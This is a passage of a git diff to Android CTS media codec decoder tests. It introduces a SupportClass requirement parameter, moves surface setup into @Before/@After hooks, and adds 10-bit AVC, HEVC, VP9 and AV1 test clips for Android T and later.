     private final int NUM_FRAMES = 8;
-    private final int mSupport;
+    private final SupportClass mSupportRequirements;
 
-    public CodecDecoderPauseTest(String decoder, String mime, String srcFile, int support) {
+    public CodecDecoderPauseTest(String decoder, String mime, String srcFile,
+            SupportClass supportRequirements) {
         super(decoder, mime, srcFile);
-        mSupport = support;
+        mSupportRequirements = supportRequirements;
     }
 
     @Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -55,14 +56,16 @@
         final boolean isEncoder = false;
         final boolean needAudio = true;
         final boolean needVideo = true;
-        // mime, source file, codecs required to support
+        /// mediaType, test file, SupportClass
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_2ch_48kHz_he_aac.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_cif_avc_delay16.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_cif_hevc_delay15.mp4", CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4", CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_176x144_192kbps_15fps_mpeg4.mp4", CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4",
+                        CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_176x144_192kbps_15fps_mpeg4.mp4",
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_640x360_512kbps_30fps_vp8.webm", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_cif_768kbps_30fps_vp9.mkv", CODEC_ALL},
         });
@@ -78,16 +81,7 @@
         ArrayList<MediaFormat> formats = new ArrayList<>();
         formats.add(setUpSource(mTestFile));
         mExtractor.release();
-        if (!areFormatsSupported(mCodecName, mMime, formats)) {
-            if (mSupport == CODEC_ALL) {
-                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
-                        mMime);
-            }
-            if (mSupport != CODEC_OPTIONAL && selectCodecs(mMime, formats, null, false).isEmpty()) {
-                fail("format(s) not supported by any component for mime : " + mMime);
-            }
-            return;
-        }
+        checkFormatSupport(mCodecName, mMime, false, formats, null, mSupportRequirements);
         final boolean isAsync = true;
         MediaFormat format = setUpSource(mTestFile);
         {
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index bea8487..e8243f8 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -22,10 +22,12 @@
 import android.util.Log;
 import android.view.Surface;
 
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
 import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
 
+import org.junit.After;
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
@@ -33,10 +35,12 @@
 import org.junit.runners.Parameterized;
 
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
 import static org.junit.Assert.assertTrue;
 
 @RunWith(Parameterized.class)
@@ -44,11 +48,13 @@
     private static final String LOG_TAG = CodecDecoderSurfaceTest.class.getSimpleName();
 
     private final String mReconfigFile;
+    private final SupportClass mSupportRequirements;
 
     public CodecDecoderSurfaceTest(String decoder, String mime, String testFile,
-            String reconfigFile) {
+            String reconfigFile, SupportClass supportRequirements) {
         super(decoder, mime, testFile);
         mReconfigFile = reconfigFile;
+        mSupportRequirements = supportRequirements;
     }
 
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
@@ -86,50 +92,101 @@
     }
 
     @Rule
-    public ActivityTestRule<CodecTestActivity> mActivityRule =
-            new ActivityTestRule<>(CodecTestActivity.class);
+    public ActivityScenarioRule<CodecTestActivity> mActivityRule =
+            new ActivityScenarioRule<>(CodecTestActivity.class);
+
+    @Before
+    public void setUp() throws IOException, InterruptedException {
+        MediaFormat format = setUpSource(mTestFile);
+        mExtractor.release();
+        if (IS_Q) {
+            Log.i(LOG_TAG, "Android 10: skip checkFormatSupport() for format " + format);
+        } else {
+            ArrayList<MediaFormat> formatList = new ArrayList<>();
+            formatList.add(format);
+            checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+        }
+        mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
+        setUpSurface(mActivity);
+    }
+
+    @After
+    public void tearDown() {
+        tearDownSurface();
+    }
 
     @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = false;
         final boolean needVideo = true;
-        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+        // mediaType, test file, reconfig test file, SupportClass
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>(Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_340x280_768kbps_30fps_mpeg2.mp4",
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2,
                         "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_2fields.mp4",
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2,
                         "bbb_512x288_30fps_1mbps_mpeg2_interlaced_nob_1field.ts",
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4"},
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_340x280_768kbps_30fps_avc.mp4",
-                        "bbb_520x390_1mbps_30fps_avc.mp4"},
+                        "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
-                        "bbb_520x390_1mbps_30fps_avc.mp4"},
+                        "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4",
-                        "bbb_520x390_1mbps_30fps_avc.mp4"},
+                        "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4",
-                        "bbb_340x280_768kbps_30fps_avc.mp4"},
+                        "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4",
-                        "bbb_340x280_768kbps_30fps_hevc.mp4"},
+                        "bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
-                        "bbb_176x144_192kbps_15fps_mpeg4.mp4"},
+                        "bbb_176x144_192kbps_15fps_mpeg4.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp",
-                        "bbb_176x144_192kbps_10fps_h263.3gp"},
+                        "bbb_176x144_192kbps_10fps_h263.3gp", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_340x280_768kbps_30fps_vp8.webm",
-                        "bbb_520x390_1mbps_30fps_vp8.webm"},
+                        "bbb_520x390_1mbps_30fps_vp8.webm", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_340x280_768kbps_30fps_vp9.webm",
-                        "bbb_520x390_1mbps_30fps_vp9.webm"},
+                        "bbb_520x390_1mbps_30fps_vp9.webm", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP9,
                         "bbb_340x280_768kbps_30fps_split_non_display_frame_vp9.webm",
-                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm"},
+                        "bbb_520x390_1mbps_30fps_split_non_display_frame_vp9.webm", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_340x280_768kbps_30fps_av1.mp4",
-                        "bbb_520x390_1mbps_30fps_av1.mp4"},
+                        "bbb_520x390_1mbps_30fps_av1.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AV1,
                         "bikes_qcif_color_bt2020_smpte2086Hlg_bt2020Ncl_fr_av1.mp4",
-                        "bbb_520x390_1mbps_30fps_av1.mp4"},
-        });
+                        "bbb_520x390_1mbps_30fps_av1.mp4", CODEC_ALL},
+        }));
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            exhaustiveArgsList.addAll(Arrays.asList(new Object[][]{
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_340x280_24fps_crf22_avc_10bit.mkv",
+                            "cosmat_520x390_24fps_crf22_avc_10bit.mkv", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_340x280_24fps_crf22_hevc_10bit.mkv",
+                            "cosmat_520x390_24fps_crf22_hevc_10bit.mkv", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_340x280_24fps_crf22_vp9_10bit.mkv",
+                            "cosmat_520x390_24fps_crf22_vp9_10bit.mkv", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_340x280_24fps_512kbps_av1_10bit.mkv",
+                            "cosmat_520x390_24fps_768kbps_av1_10bit.mkv", CODEC_ALL},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_340x280_24fps_crf22_avc_10bit.mkv",
+                            "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_340x280_24fps_crf22_hevc_10bit.mkv",
+                            "bbb_520x390_1mbps_30fps_hevc.mp4", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_340x280_24fps_crf22_vp9_10bit.mkv",
+                            "bbb_520x390_1mbps_30fps_vp9.webm", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_340x280_24fps_512kbps_av1_10bit.mkv",
+                            "bbb_520x390_1mbps_30fps_av1.mp4", CODEC_ALL},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_520x390_24fps_crf22_avc_10bit.mkv",
+                            "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_520x390_24fps_crf22_hevc_10bit.mkv",
+                            "bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_520x390_24fps_crf22_vp9_10bit.mkv",
+                            "bbb_340x280_768kbps_30fps_vp9.webm", CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_520x390_24fps_768kbps_av1_10bit.mkv",
+                            "bbb_340x280_768kbps_30fps_av1.mp4", CODEC_ALL},
+            }));
+        }
         return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, true);
     }
 
@@ -145,8 +202,6 @@
         OutputManager test = new OutputManager();
         final long pts = 0;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
         {
             decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             ref = mOutputBuff;
@@ -158,7 +213,7 @@
             }
             MediaFormat format = setUpSource(mTestFile);
             mCodec = MediaCodec.createByCodecName(mCodecName);
-            activity.setScreenParams(getWidth(format), getHeight(format), true);
+            mActivity.setScreenParams(getWidth(format), getHeight(format), true);
             for (boolean isAsync : boolStates) {
                 String log = String.format("codec: %s, file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
@@ -187,7 +242,6 @@
             mCodec.release();
             mExtractor.release();
         }
-        tearDownSurface();
     }
 
     /**
@@ -211,8 +265,6 @@
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
         {
             decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
@@ -225,7 +277,7 @@
             mOutputBuff = test;
             setUpSource(mTestFile);
             mCodec = MediaCodec.createByCodecName(mCodecName);
-            activity.setScreenParams(getWidth(format), getHeight(format), false);
+            mActivity.setScreenParams(getWidth(format), getHeight(format), false);
             for (boolean isAsync : boolStates) {
                 String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
@@ -293,7 +345,6 @@
             mCodec.release();
             mExtractor.release();
         }
-        tearDownSurface();
     }
 
     /**
@@ -309,12 +360,13 @@
         mExtractor.release();
         MediaFormat newFormat = setUpSource(mReconfigFile);
         mExtractor.release();
+        ArrayList<MediaFormat> formatList = new ArrayList<>();
+        formatList.add(newFormat);
+        checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
         final long pts = 500000;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
         {
             decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
@@ -332,7 +384,7 @@
             }
             mOutputBuff = test;
             mCodec = MediaCodec.createByCodecName(mCodecName);
-            activity.setScreenParams(getWidth(format), getHeight(format), false);
+            mActivity.setScreenParams(getWidth(format), getHeight(format), false);
             for (boolean isAsync : boolStates) {
                 setUpSource(mTestFile);
                 String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
@@ -397,7 +449,7 @@
                 setUpSource(mReconfigFile);
                 log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mReconfigFile, (isAsync ? "async" : "sync"));
-                activity.setScreenParams(getWidth(newFormat), getHeight(newFormat), true);
+                mActivity.setScreenParams(getWidth(newFormat), getHeight(newFormat), true);
                 reConfigureCodec(newFormat, isAsync, false, false);
                 mCodec.start();
                 test.reset();
@@ -422,41 +474,32 @@
             }
             mCodec.release();
         }
-        tearDownSurface();
     }
 
     private native boolean nativeTestSimpleDecode(String decoder, Surface surface, String mime,
-            String testFile, String refFile, float rmsError, long checksum);
+            String testFile, String refFile, int colorFormat, float rmsError, long checksum);
 
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testSimpleDecodeToSurfaceNative() throws IOException, InterruptedException {
+    public void testSimpleDecodeToSurfaceNative() throws IOException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
-        activity.setScreenParams(getWidth(format), getHeight(format), false);
-        {
-            assertTrue(nativeTestSimpleDecode(mCodecName, mSurface, mMime, mInpPrefix + mTestFile,
-                    mInpPrefix + mReconfigFile, -1.0f, 0L));
-        }
-        tearDownSurface();
+        mActivity.setScreenParams(getWidth(format), getHeight(format), false);
+        assertTrue(nativeTestSimpleDecode(mCodecName, mSurface, mMime, mInpPrefix + mTestFile,
+                mInpPrefix + mReconfigFile, format.getInteger(MediaFormat.KEY_COLOR_FORMAT), -1.0f,
+                0L));
     }
 
     private native boolean nativeTestFlush(String decoder, Surface surface, String mime,
-            String testFile);
+            String testFile, int colorFormat);
 
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testFlushNative() throws IOException, InterruptedException {
+    public void testFlushNative() throws IOException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
-        activity.setScreenParams(getWidth(format), getHeight(format), true);
-        {
-            assertTrue(nativeTestFlush(mCodecName, mSurface, mMime, mInpPrefix + mTestFile));
-        }
-        tearDownSurface();
+        mActivity.setScreenParams(getWidth(format), getHeight(format), true);
+        assertTrue(nativeTestFlush(mCodecName, mSurface, mMime, mInpPrefix + mTestFile,
+                format.getInteger(MediaFormat.KEY_COLOR_FORMAT)));
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 16faa41..64e9822 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -16,6 +16,7 @@
 
 package android.mediav2.cts;
 
+import android.media.AudioFormat;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaExtractor;
@@ -27,6 +28,7 @@
 import androidx.test.filters.SmallTest;
 
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -42,9 +44,15 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
+import java.util.stream.IntStream;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.*;
+import static android.mediav2.cts.CodecTestBase.SupportClass.*;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 /**
  * Validate decode functionality of listed decoder components
@@ -64,32 +72,29 @@
     private final String mReconfigFile;
     private final float mRmsError;
     private final long mRefCRC;
+    private final SupportClass mSupportRequirements;
 
     public CodecDecoderTest(String decoder, String mime, String testFile, String refFile,
-            String reconfigFile, float rmsError, long refCRC) {
+            String reconfigFile, float rmsError, long refCRC, SupportClass supportRequirements) {
         super(decoder, mime, testFile);
         mRefFile = refFile;
         mReconfigFile = reconfigFile;
         mRmsError = rmsError;
         mRefCRC = refCRC;
+        mSupportRequirements = supportRequirements;
     }
 
-    static short[] setUpAudioReference(String file) throws IOException {
+    static ByteBuffer readAudioReferenceFile(String file) throws IOException {
         File refFile = new File(file);
-        short[] refData;
+        ByteBuffer refBuffer;
         try (FileInputStream refStream = new FileInputStream(refFile)) {
             FileChannel fileChannel = refStream.getChannel();
             int length = (int) refFile.length();
-            ByteBuffer refBuffer = ByteBuffer.allocate(length);
+            refBuffer = ByteBuffer.allocate(length);
             refBuffer.order(ByteOrder.LITTLE_ENDIAN);
             fileChannel.read(refBuffer);
-            refData = new short[length / 2];
-            refBuffer.position(0);
-            for (int i = 0; i < length / 2; i++) {
-                refData[i] = refBuffer.getShort();
-            }
         }
-        return refData;
+        return refBuffer;
     }
 
     private ArrayList<MediaCodec.BufferInfo> createSubFrames(ByteBuffer buffer, int sfCount) {
@@ -129,65 +134,151 @@
         final boolean isEncoder = false;
         final boolean needAudio = true;
         final boolean needVideo = true;
-        // mime, testClip, referenceClip, reconfigureTestClip, refRmsError, refCRC32
-        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+        // mediaType, testClip, referenceClip, reconfigureTestClip, refRmsError, refCRC32,
+        // SupportClass
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>(Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_lame_vbr.mp3", 91.022f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_lame_vbr.mp3", 91.026749f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_cbr.mp3",
-                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 103.60f, -1L},
+                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 103.603081f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_16kbps_amrwb.3gp",
-                        "bbb_1ch_16kHz_s16le.raw", "bbb_1ch_16kHz_23kbps_amrwb.3gp", 2393.598f,
-                        -1L},
+                        "bbb_1ch_16kHz_s16le.raw", "bbb_1ch_16kHz_23kbps_amrwb.3gp", 2393.5979f,
+                        -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_1ch_8kHz_10kbps_amrnb.3gp",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_1ch_8kHz_8kbps_amrnb.3gp", -1.0f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_1ch_8kHz_8kbps_amrnb.3gp", -1.0f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_16kHz_flac.mka",
-                        "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_flac.mka", 0.0f, -1L},
+                        "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_flac.mka", 0.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_2ch_44kHz_flac.mka",
-                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_flac.mka", 0.0f, -1L},
+                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_flac.mka", 0.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_16kHz.wav", "bbb_1ch_16kHz_s16le.raw",
-                        "bbb_2ch_44kHz.wav", 0.0f, -1L},
+                        "bbb_2ch_44kHz.wav", 0.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_2ch_44kHz.wav", "bbb_2ch_44kHz_s16le.raw",
-                        "bbb_1ch_16kHz.wav", 0.0f, -1L},
+                        "bbb_1ch_16kHz.wav", 0.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_1ch_8kHz_alaw.wav",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_8kHz_alaw.wav", 23.08678f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_8kHz_alaw.wav", 23.087402f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_1ch_8kHz_mulaw.wav",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_8kHz_mulaw.wav", 24.4131f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_8kHz_mulaw.wav", 24.413954f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_1ch_8kHz_gsm.wav", 946.02698f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_1ch_8kHz_gsm.wav", 946.026978f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_1ch_16kHz_vorbis.mka",
-                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_vorbis.mka", -1.0f, -1L},
+                        "bbb_1ch_8kHz_s16le.raw", "bbb_2ch_44kHz_vorbis.mka", -1.0f, -1L,
+                        CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka",
-                        "bbb_2ch_48kHz_s16le.raw", "bbb_1ch_48kHz_opus.mka", -1.0f, -1L},
+                        "bbb_2ch_48kHz_s16le.raw", "bbb_1ch_48kHz_opus.mka", -1.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_1ch_16kHz_aac.mp4",
-                        "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_aac.mp4", -1.0f, -1L},
+                        "bbb_1ch_16kHz_s16le.raw", "bbb_2ch_44kHz_aac.mp4", -1.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_340x280_768kbps_30fps_mpeg2.mp4", null,
-                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f, -1L},
+                        "bbb_520x390_1mbps_30fps_mpeg2.mp4", -1.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_340x280_768kbps_30fps_avc.mp4", null,
-                        "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f, 1746312400L},
+                        "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f, 1746312400L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4", null,
-                        "bbb_340x280_768kbps_30fps_hevc.mp4", -1.0f, 3061322606L},
+                        "bbb_340x280_768kbps_30fps_hevc.mp4", -1.0f, 3061322606L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
-                        null, "bbb_176x144_192kbps_15fps_mpeg4.mp4", -1.0f, -1L},
+                        null, "bbb_176x144_192kbps_15fps_mpeg4.mp4", -1.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp",
-                        null, "bbb_176x144_192kbps_10fps_h263.3gp", -1.0f, -1L},
+                        null, "bbb_176x144_192kbps_10fps_h263.3gp", -1.0f, -1L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_340x280_768kbps_30fps_vp8.webm", null,
-                        "bbb_520x390_1mbps_30fps_vp8.webm", -1.0f, 2030620796L},
+                        "bbb_520x390_1mbps_30fps_vp8.webm", -1.0f, 2030620796L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_340x280_768kbps_30fps_vp9.webm", null,
-                        "bbb_520x390_1mbps_30fps_vp9.webm", -1.0f, 4122701060L},
+                        "bbb_520x390_1mbps_30fps_vp9.webm", -1.0f, 4122701060L, CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_340x280_768kbps_30fps_av1.mp4", null,
-                        "bbb_520x390_1mbps_30fps_av1.mp4", -1.0f, 400672933L},
-        });
+                        "bbb_520x390_1mbps_30fps_av1.mp4", -1.0f, 400672933L, CODEC_ALL},
+        }));
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            exhaustiveArgsList.addAll(Arrays.asList(new Object[][]{
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_340x280_24fps_crf22_avc_10bit.mkv",
+                            null, "cosmat_520x390_24fps_crf22_avc_10bit.mkv", -1.0f, 1462636611L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_340x280_24fps_crf22_hevc_10bit.mkv",
+                            null, "cosmat_520x390_24fps_crf22_hevc_10bit.mkv", -1.0f, 2611796790L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_340x280_24fps_crf22_vp9_10bit.mkv",
+                            null, "cosmat_520x390_24fps_crf22_vp9_10bit.mkv", -1.0f, 2419292938L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_340x280_24fps_512kbps_av1_10bit.mkv",
+                            null, "cosmat_520x390_24fps_768kbps_av1_10bit.mkv", -1.0f, 1021109556L,
+                            CODEC_ALL},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_340x280_24fps_crf22_avc_10bit.mkv",
+                            null, "bbb_520x390_1mbps_30fps_avc.mp4", -1.0f, 1462636611L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_340x280_24fps_crf22_hevc_10bit.mkv",
+                            null, "bbb_520x390_1mbps_30fps_hevc.mp4", -1.0f, 2611796790L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_340x280_24fps_crf22_vp9_10bit.mkv",
+                            null, "bbb_520x390_1mbps_30fps_vp9.webm", -1.0f, 2419292938L,
+                            CODEC_OPTIONAL},
+                    {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_340x280_24fps_512kbps_av1_10bit.mkv",
+                            null, "bbb_520x390_1mbps_30fps_av1.mp4", -1.0f, 1021109556L,
+                            CODEC_ALL},
+                    {MediaFormat.MIMETYPE_VIDEO_AVC, "cosmat_520x390_24fps_crf22_avc_10bit.mkv",
+                            null, "bbb_340x280_768kbps_30fps_avc.mp4", -1.0f, 2245243696L,
